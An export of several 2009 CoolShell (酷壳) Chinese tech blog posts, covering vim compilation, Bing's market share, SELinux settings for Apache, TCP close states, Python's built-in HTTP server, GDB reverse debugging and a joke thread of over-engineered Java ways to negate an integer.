[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/1313.html)[Erlang和Python互通](https://coolshell.cn/articles/1313.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/4131.html)[WSDL 1.1 中文规范](https://coolshell.cn/articles/4131.html)\nThe post [WebTTY！太酷了！](https://coolshell.cn/articles/1441.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-19 编译vim解决中文支持.md",
    "content": "---\nlayout: post\ntitle: 编译vim解决中文支持\ndate: 2009/9/19/ 0:47:4\nupdated: 2009/9/19/ 0:47:4\nstatus: publish\npublished: true\ntype: post\n---\n\n最近开始抛弃Ubuntu折腾CentOS 5.3(注：无意挑起OS之争)，每当换一个OS，第一个配置的就是VIM。\n\n\n介于以前在MacOSX的编译经验，直接三部曲\n\n\n\n> ./configue && sudo make && sudo make install\n> \n> \n\n\n解决的问题。  但在CentOS之后发现无论如何都不支持中文。\n\n\n通过文档的翻阅和google的搜索，发现了问题出现在编译上。vim支持中文需要2个基本feature：multi\\_byte和iconv。\n\n\n\n在vim中输入 :version  发现这2个feature都是  – multi\\_byte 和 – iconv。看来编译的时候参数没有配置对。\n\n\n于是重新执行以下代码\n\n\n\n> ./configure –prefix=/usr –with-features=huge  \n> \n> sudo make  \n> \n> sudo make install\n> \n> \n\n\n问题就解决了。\n\n\n另外vim配置文件从第一行(我是unicode的统一论者)，加上\n\n\n\n> set enc=utf-8  \n> \n> set tenc=utf-8  \n> \n> set fenc=utf-8  \n> \n> set fencs=utf-8,usc-bom\n> \n> \n\n\n其实整个问题都很简单。 但是我发现搜索引擎里的资料 不是通过直观的关键字搜出来的。 所以这里做下一个记录，希望对以后的朋友有所帮助。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\nThe post [编译vim解决中文支持](https://coolshell.cn/articles/1432.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-22 微软在从Google赢取搜索引擎市场份额.md",
    "content": "---\nlayout: post\ntitle: 微软在从Google赢取搜索引擎市场份额\ndate: 2009/9/22/ 15:1:50\nupdated: 2009/9/22/ 15:1:50\nstatus: publish\npublished: true\ntype: post\n---\n\n7月到8月，微软市场份额从8.9%到了9.3%;  Google掉了1.7%\n\n\nBing显然让Google有些紧张，不仅Bing在界面上赢得了一部分消费者的好评，而且其在某些垂直领域的深度整合使得Bing的盈利能力具有了相当竞争力。相信Google在幕后紧锣密鼓的测试新界面和新搜索功能的同时，也在严阵以待地部署销售团队（如果经济萧条好转，旅游和健康将会是最先复苏的领域，也是Bing目前占有优势的战场）\n\n\n拭目以待吧！\n\n\n原文地址：<http://news.bbc.co.uk/2/hi/technology/8268356.stm>  \n\n\n\n\nMicrosoft increases search share\n================================\n\n\n**Microsoft’s Bing search engine is making inroads into Google’s dominance of the search market according to data from US net measurement firm ComScore.**\n\n\nIts latest figures show Microsoft’s share of the search market has grown from 8.9% in July to 9.3% in August.\n\n\nThe news saw Microsoft’s shares rise while Google’s dipped slightly.\n\n\nMicrosoft’s modest 9.3% share of the US search market is small but is a significant increase for a new entrant, say analysts.\n\n\nThe Bing search engine was launched by Microsoft in June 2009 and was followed in July by a search tie-up with rival Yahoo.\n\n\nGoogle is still far and away the search leader, with 65% of the US market.\n\n\n**Tiny ripple**\n\n\nMicrosoft’s modest 9.3% share of the US search market is small but is a significant increase for a new entrant say analysts.\n\n\nThe fact Google is losing any market share to Microsoft could indicate that it is no longer the immediate choice for everyone, thinks search expert John Batelle.\n\n\n“I think the service is starting to gain footholds with users who see it as a regular alternative to Google,” he wrote in his blog.\n\n\nHe is a fan of Bing’s newly-released visual search interface.\n\n\n“I think it augurs some serious new – and useful – approaches to sifting through massive amounts of related data,” he said.\n\n\nIn the UK, Bing has also made small inroads into Google’s market share.\n\n\nIn August the number of searches on Bing increased by 5%, while Google searches were down 1.7%, according to UK online measurement firm Nielsen.\n\n\n“It is a very tiny ripple but reflects that Microsoft has done a lot of marketing around it and that people are curious about anything new that is launched,” said Alex Burmaster, communications director at Nielsen.\n\n\nGoogle is already working on an update to its current search engine.\n\n\nNicknamed “Caffeine” the new version is still in the testing phase and will replace the current engine once tests are complete.\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [微软在从Google赢取搜索引擎市场份额](https://coolshell.cn/articles/1457.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-26 CentOS上php的问题及Selinux安全设置.md",
    "content": "---\nlayout: post\ntitle: CentOS上php的问题及Selinux安全设置\ndate: 2009/9/26/ 1:0:54\nupdated: 2009/9/26/ 1:0:54\nstatus: publish\npublished: true\ntype: post\n---\n\n最近有位站长在用我们WebIM客户端的时候，无法登录我们的WebIM服务器，十分惊讶。 在我们的用户里尚属首例，其实更惊讶的是我的CentOS也遇到了同样的问题。然后分析了这位站长的HttpResponse , Shamee :( 一样的OS.\n\n\n搜了一下，发现的解决方法都是在代码上。 我想可能关键词有错误，因为我坚信我的问题肯定不在代码上，应该是来自OS本身的限制。于是重新debug了一下代码，报错 permission (13) connection。然后直接在洋人的邮件列表里搜了一下。\n\n\n问题确定了 是SeLinux(*http://zh.wikipedia.org/wiki/SELinux*)安全策略的限制。\n\n\n\n这下问题明了了,执行 /usr/sbin/setenforce 0就能迅速关闭SELINUX，或者vi /etc/selinux/config 把enforcing改成permissive 然后reboot.\n\n\n但是我想了一下，就算安全级别为B1的Linux被攻击的可能小，但是总会有面对这种问题的时候，况且这种解决访问本身并不优雅。\n\n\n于是想了下 把Apache脱离SeLinux是一个最恰当的办法，于是执行\n\n\n`sudo  setsebool -P httpd_disable_trans 1 && sudo   /etc/init.d/httpd restart`\n\n\n这样就能保证在SeLinux的光环下,Web服务器行为不受控制。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [CentOS上php的问题及Selinux安全设置](https://coolshell.cn/articles/1462.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-27 TCP网络关闭的状态变换时序图.md",
    "content": "---\nlayout: post\ntitle: TCP网络关闭的状态变换时序图\ndate: 2009/9/27/ 8:11:19\nupdated: 2009/9/27/ 8:11:19\nstatus: publish\npublished: true\ntype: post\n---\n\nTCP共有11个网路状态，其中涉及到关闭的状态有5个。\n\n\n在我们编写网络相关程序的时候，这5个状态经常出现。因为这5个状态相互关联，相互纠缠，而且状态变化触发都是由应用触发，但是又涉及操作系统和网络，所以正确的理解TCP 在关闭时网络状态变化情况，为我们诊断网络中各种问题，快速定位故障有着非常重要的作用和意义。\n\n\n下是是根据W.Richard Stevens的《TCP/IP详解》一书的TCP状态转换图。\n\n\n![](../wp-content/uploads/2009/09/tcp1.jpg \"tcp 状态转换图\")\n\n\n\n![](../wp-content/uploads/2009/09/tcp2.jpg \"tcp 状态转换图 （注释）\") ![](../wp-content/uploads/2009/09/tcp3.jpg \"tcp 连接建立关闭图\") ![](../wp-content/uploads/2009/09/tcp3.jpg \"tcp 连接建图\") ![](../wp-content/uploads/2009/09/tcp5.jpg \"tcp 连接关闭图\")\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从一次经历谈 TIME_WAIT 的那些事](../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg)](https://coolshell.cn/articles/22263.html)[从一次经历谈 TIME\\_WAIT 的那些事](https://coolshell.cn/articles/22263.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![TCP 的那些事儿（下）](../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg)](https://coolshell.cn/articles/11609.html)[TCP 的那些事儿（下）](https://coolshell.cn/articles/11609.html)\n* [![TCP 的那些事儿（上）](../wp-content/uploads/2014/05/tin-can-phone-150x150.jpg)](https://coolshell.cn/articles/11564.html)[TCP 的那些事儿（上）](https://coolshell.cn/articles/11564.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\nThe post [TCP网络关闭的状态变换时序图](https://coolshell.cn/articles/1484.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-27 非常简单的Python HTTP服务.md",
    "content": "---\nlayout: post\ntitle: 非常简单的Python HTTP服务\ndate: 2009/9/27/ 3:34:10\nupdated: 2009/9/27/ 3:34:10\nstatus: publish\npublished: true\ntype: post\n---\n\n如果你急需一个简单的Web Server，但你又不想去下载并安装那些复杂的HTTP服务程序，比如：Apache，ISS等。那么， [Python](http://www.python.org/) 可能帮助你。使用Python可以完成一个简单的内建 HTTP 服务器。于是，你可以把你的目录和文件都以HTTP的方式展示出来。佻只需要干一件事情，那就是安装一个Python。\n\n\n实际上来说，这是一个可以用来共享文件的非常有用的方式。实现一个微型的HTTP服务程序来说是很简单的事情，在Python下，只需要一个命令行。下面是这个命令行：（假设我们需要共享我们的目录 /home/haoel 而IP地址是192.168.1.1）\n\n\n\n```\n\n$ cd /home/haoel\n$ python -m SimpleHTTPServer\n\n```\n\n\n这就行了，而我们的HTTP服务在8000号端口上侦听。你会得到下面的信息：\n\n\n\n```\nServing HTTP on 0.0.0.0 port 8000 ...\n```\n\n你可以打开你的浏览器（IE或Firefox），然后输入下面的URL：\n\n\n\n```\nhttp://192.168.1.1:8000\n```\n\n如果你的目录下有一个叫 index.html 的文件名的文件，那么这个文件就会成为一个默认页，如果没有这个文件，那么，目录列表就会显示出来。\n\n\n如果你想改变端口号，你可以使用如下的命令：\n\n\n\n```\n\n$ python -m SimpleHTTPServer 8080\n\n```\n\n如果你只想让这个HTTP服务器服务于本地环境，那么，你需要定制一下你的Python的程序，下面是一个示例：\n\n\n[py]  \n\nimport sys  \n\nimport BaseHTTPServer  \n\nfrom SimpleHTTPServer import SimpleHTTPRequestHandler  \n\nHandlerClass = SimpleHTTPRequestHandler  \n\nServerClass  = BaseHTTPServer.HTTPServer  \n\nProtocol     = \"HTTP/1.0\"\n\n\nif sys.argv[1:]:  \n\n    port = int(sys.argv[1])  \n\nelse:  \n\n    port = 8000  \n\nserver\\_address = (‘127.0.0.1’, port)\n\n\nHandlerClass.protocol\\_version = Protocol  \n\nhttpd = ServerClass(server\\_address, HandlerClass)\n\n\nsa = httpd.socket.getsockname()  \n\nprint \"Serving HTTP on\", sa[0], \"port\", sa[1], \"…\"  \n\nhttpd.serve\\_forever()  \n\n[/py]\n\n\n注意：所有的这些东西都可以在 Windows 或 [Cygwin](http://www.cygwin.com/) 下工作。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\nThe post [非常简单的Python HTTP服务](https://coolshell.cn/articles/1480.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-28 算法和数据结构词典.md",
    "content": "---\nlayout: post\ntitle: 算法和数据结构词典\ndate: 2009/9/28/ 3:33:35\nupdated: 2009/9/28/ 3:33:35\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道，在编程的世界里，主要就是两个事，用一定的算法去处理一定的数据。算法可以理解为业务逻辑流程，而数据自然一定是按某种结构来存放，这就是数据结构。我们知道，数据结构的修改一定会导致算法的修改，我们也知道，数据结构直接关系到了整个程序的繁简性，高效性。而算法则是关系到数据处理的时间、空间性能，以及日后的扩展和维护。这两个东西是计算机科班出生的人或是需要学习编程的人必需要注意的两件头等大事。\n\n\n下面这个网站，由 [Software and Systems Division](http://www.itl.nist.gov/div897/), [Information Technology Laboratory](http://www.itl.nist.gov/) 创建。\n\n\n**<http://xlinux.nist.gov/dads/>**\n\n\nhttps://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif \"更多...\"\n\n\n\n这是一个关于算法，算法技术，数据结构，系统架构等相关问题的一个词典。其中，算法包括了一些常见的算法，比如： [Ackermann’s function](http://xlinux.nist.gov/dads/HTML/ackermann.html) ，一些算法问题包括了 [traveling salesman](http://xlinux.nist.gov/dads/HTML/travelingSalesman.html)（销售员出差问题） and [Byzantine generals](http://xlinux.nist.gov/dads/HTML/byzantine.html)（拜占庭将军问题），还有一些关于这些问题，算法的 [实现链表](http://xlinux.nist.gov/dads/termsImpl.html) 以及更多的信息。而索引页包括 [领域索引](http://xlinux.nist.gov/dads/termsArea.html) 和 [类型索引](http://xlinux.nist.gov/dads/termsType.html).\n\n\n希望这个网站对有你用。当然，这个网站是英文的。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4671.html)[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3933.html)[可视化的排序过程](https://coolshell.cn/articles/3933.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\nThe post [算法和数据结构词典](https://coolshell.cn/articles/1499.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-28 高科技：GDB回溯调试.md",
    "content": "---\nlayout: post\ntitle: 高科技：GDB回溯调试\ndate: 2009/9/28/ 9:14:8\nupdated: 2009/9/28/ 9:14:8\nstatus: publish\npublished: true\ntype: post\n---\n\n也许大家知道，GDB 版本7.0 (2009年9月release) 会是第一次开始支持Reversable Debugging （回溯调式技术），这是一种可以让在debug程序时当我们运行单步调试或是运行到断点时，可以以逆向执行程序的一种技术。（这是GNU的[新闻链接](http://www.gnu.org/software/gdb/news/reversible.html)）\n\n\n下面是GDB7.0版本所支持的回溯调试的命令，其中包括，continue，step，以及调试方向的设置。\n\n\n- **reverse-continue** (‘rc’) — 继续程序运行到断点，但是是逆向运行程序。\n\n- **reverse-finish** — 逆向运行程序直到跳出本层函数。\n\n- **reverse-next** (‘rn’) — 语句单步向后跟踪程序。\n\n- **reverse-nexti** (‘rni’) — 指令单步向后一条指令。\n\n- **reverse-step** (‘rs’) — 向后执行一条语句，单步进入。\n\n- **reverse-stepi** — 向后执行一条指令，单步进入。\n\n- **set exec-direction (forward/reverse)** — 设置程序执行方向，向前或向后。\n\n\n在网上查了一下，发现VS2010好像也准备要支持这个东西，微软叫这个东西为“[Historical Debugging](http://blogs.msdn.com/ianhu/archive/2009/05/13/historical-debugging-in-visual-studio-team-system-2010.aspx)”。\n\n\n这个东西，对于我这个老家伙来说比较新鲜，而且还有点诡异。我有点没跟上这个技术，不知道这个技术主要是用来干什么？对于程序的运行的回滚？这样一来，如果，我某条语句创建了一个线程，或是一个文件，逆向执行回去，莫非它还能把这些程序创建出来的资源回收啦？就算是能回收，要是我的某个程序向网络发了些数据出去，莫非它还能给我再收回来？也许我想得太极端了，不过好像目前对这个技术的原始需求的说明不是很多，所以真不知道这个技术除了很酷，还有什么？也许是我理解错了，希望大家指点一下。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3643.html)[GDB中应该知道的几个调试方法](https://coolshell.cn/articles/3643.html)\n* [![橡皮鸭程序调试法](../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg)](https://coolshell.cn/articles/1719.html)[橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1379.html)[如何调试bash脚本](https://coolshell.cn/articles/1379.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1242.html)[23,148,855,308,184,500](https://coolshell.cn/articles/1242.html)\nThe post [高科技：GDB回溯调试](https://coolshell.cn/articles/1502.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-9-3 编程真难啊.md",
    "content": "---\nlayout: post\ntitle: 编程真难啊\ndate: 2009/9/3/ 14:24:57\nupdated: 2009/9/3/ 14:24:57\nstatus: publish\npublished: true\ntype: post\n---\n\n上周，在Sun的Java论坛上出现了一个这样的帖子，这个贴子的链接如下：  \n\n<http://forums.sun.com/thread.jspa?threadID=5404590&start=0&tstart=0>\n\n\nLZ的贴子翻译如下：\n\n\n\n> 大家好，我是一个Java的新手，我有一个简单的问题：请问我怎么才能反转一个整数的符号啊。比如把-12转成+12。是的，毫无疑问这是个简单的问题，但我弄了一整天我也找不到什么好的方法。非常感谢如果你能告诉我Java有什么方法可以做到这个事，或者告诉我一个正确的方向——比如使用一些数学库或是二进制方法什么的。谢谢！\n> \n> \n\n\n这个贴子的沙发给出了答案：\n\n\n\nn = -n;\n\n\nLZ在四楼回复到：\n\n\n\n> 我知道是个很简单的事，可我没有想到居然这么简单，我觉得你可能是对的。谢谢你。\n> \n> \n\n\n过了一会，又回复到：\n\n\n\n> 不开玩笑地说，我试了，真的没有问题耶！\n> \n> \n\n\n看到这样的贴子，就能想到国内论坛上很多这样的“问弱智问题的贴子”，结果可能都会是比较惨！是的，国外的互联网文化和国内差不多，都是恶搞的人多于热心的人，呵呵。**不过，国外的网民们有一点是好的，再恶搞也是就事搞事，不会有侮辱人的语言，这点真是值国内的人学习**。\n\n\n这本是一个平淡无奇的贴子，不过回复中那些恶搞的“解决方案”太强大了，在这里例举一下吧。\n\n\n贴子的板凳给出了这样的答案（这是恶搞的开始）\n\n\n \n\n\n\n```\n\nint x = numberToInvertSign;\nboolean pos = x > 0;\nfor(int i = 0; i < 2*Math.abs(x); i++){\n    if(pos){\n        numberToInvertSign--;\n    }\n    else{\n        numberToInvertSign++;\n    }\n}\n\n```\n\n然后，有人说，n = -n 可以是可以，但不够晦涩，于是一个晦涩的解决方案出现了：\n\n\n\n```\n\nint n = ....;\n n = (0xffffffff ^ n) + 1;\n\n```\n\n然后，又出现了一些看似简单，其实是比较晦涩的方案\n\n\n``n = ~n + 1;`` \n\n\n \n\n\n```n = ~--n;``` \n\n\n \n\n\n``继续，有才的人从来就不少：``\n\n\n\n\n```\n\nn^= 0xffffffff;\nint m;\nfor (m= 1; m != 0 && ((n&m) != 0); m<<= 1);\nn|= m;\nif (m == 0) n= m;\nelse for (m >>= 1; m != 0; n^= m, m>>=1);\n\n```\n\n \n\n\n``呵呵，开始越来越强大了，我以前也向大家介绍过《[如何加密/弄乱C源代码](https://coolshell.cn/articles/933.html)》的文章，和这些恶搞的人可能有点相似吧。上面这个例子一出，大家都在讨论上面例子中的for循环语句，呵呵，很费解啊。``\n\n\n``然后，后面几个就开始乱来了：``\n\n\n\n```\npublic int invert(int i) {\n  return i - (i + i);\n}\n```\n\n\n```\nswitch (i)\n{\n  case 1: return -1;\n  case 2: return -2;\n  case 3: return -3;\n  // ... etc, you get the proper pattern\n}\n```\n\n不过事情还没有结束，看看下面这个吧，OMG。\n\n\n\n```\nint absoluteValue(int num)\n{\n int max = 0;\n for(int i = 0; true; ++i)\n {\n  max = i > max ? i : max;\n  if(i == num)\n  {\n   if(i >= max)\n    return i;\n   return -i;\n  }\n }\n}\n```\n\n 还有用字符串的解决方案：\n\n\n\n```\npublic int invert(int n) {\n    String nStr = String.valueOf(n);\n \n    if (nStr.startsWith(\"-\")) {\n        nStr = nStr.replace(\"-\", \"\");\n    } else {\n        nStr = \"-\" + nStr;\n    }\n \n    return Integer.parseInt(nStr);\n}\n```\n\n别忘了面象对象，有最新Java支持的模板库： \n\n\n\n```\npublic interface Negatable<T extends Number> {\n  T value();\n  T negate();\n}\n \n \n \npublic abstract class NegatableInteger implements Negatable<Integer> {\n  private final int value;\n \n  protected NegatableInteger(int value) {\n    this.value = value;\n  }\n \n  public static NegatableInteger createNegatableInteger(int value) {\n    if (value > 0) {\n      return new NegatablePositiveInteger(value);\n    }\n    else if (value == Integer.MIN_VALUE) {\n      throw new IllegalArgumentException(\"cannot negate \" + value);\n    }\n    else if (value < 0) {\n      return new NegatableNegativeInteger(value);\n    }\n    else {\n      return new NegatableZeroInteger(value);\n    }\n  }\n \n  public Integer value() {\n    return value;\n  }\n \n  public Integer negate() {\n    String negatedString = negateValueAsString ();\n    Integer negatedInteger = Integer.parseInt(negatedString);\n    return negatedInteger;\n  }\n \n  protected abstract String negateValueAsString ();\n}\n \n \n \npublic class NegatablePositiveInteger extends NegatableInteger {\n  public NegatablePositiveInteger(int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    String valueAsString = String.valueOf (value());\n    return \"-\" + valueAsString;\n  }\n}\n \n \n \npublic class NegatableNegativeInteger extends NegatableInteger {\n  public NegatableNegativeInteger (int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    String valueAsString = String.valueOf (value());\n    return valueAsString.substring(1);\n  }\n}\n \n \n \npublic class NegatableZeroInteger extends NegatableInteger {\n  public NegatableZeroInteger (int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    return String.valueOf (value());\n  }\n}\n```\n\n \n\n\n这个贴子基本上就是两页，好像不算太严重，如果你这样想的话，你就大错特错了。这个贴子被人转到了reddit.com，于是一发不可收拾，在上面的回贴达到了490多条。链接如下：\n\n\n<http://www.reddit.com/r/programming/comments/9egb6/programming_is_hard/>\n\n\n有人说，要用try catch；有人说要使用XML配置文件……，程序员们在追逐更为变态和疯狂的东西，并从中找到快乐，呵呵。\n\n\n看完后，正如reddit.com所说——“**编程好难啊**”！\n\n\n无独有偶，这并不是第一次，也不会是最后一次，让我们看看在PHP的官网上发生的类似的一幕——讨论PHP的abs取绝对值函数的函数说明文档中的回复：\n\n\n<http://us.php.net/manual/en/function.abs.php#58508>\n\n\n又是一个长贴，还带着很多性能分析，真的很好很强大！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![程序员练级攻略（2018)  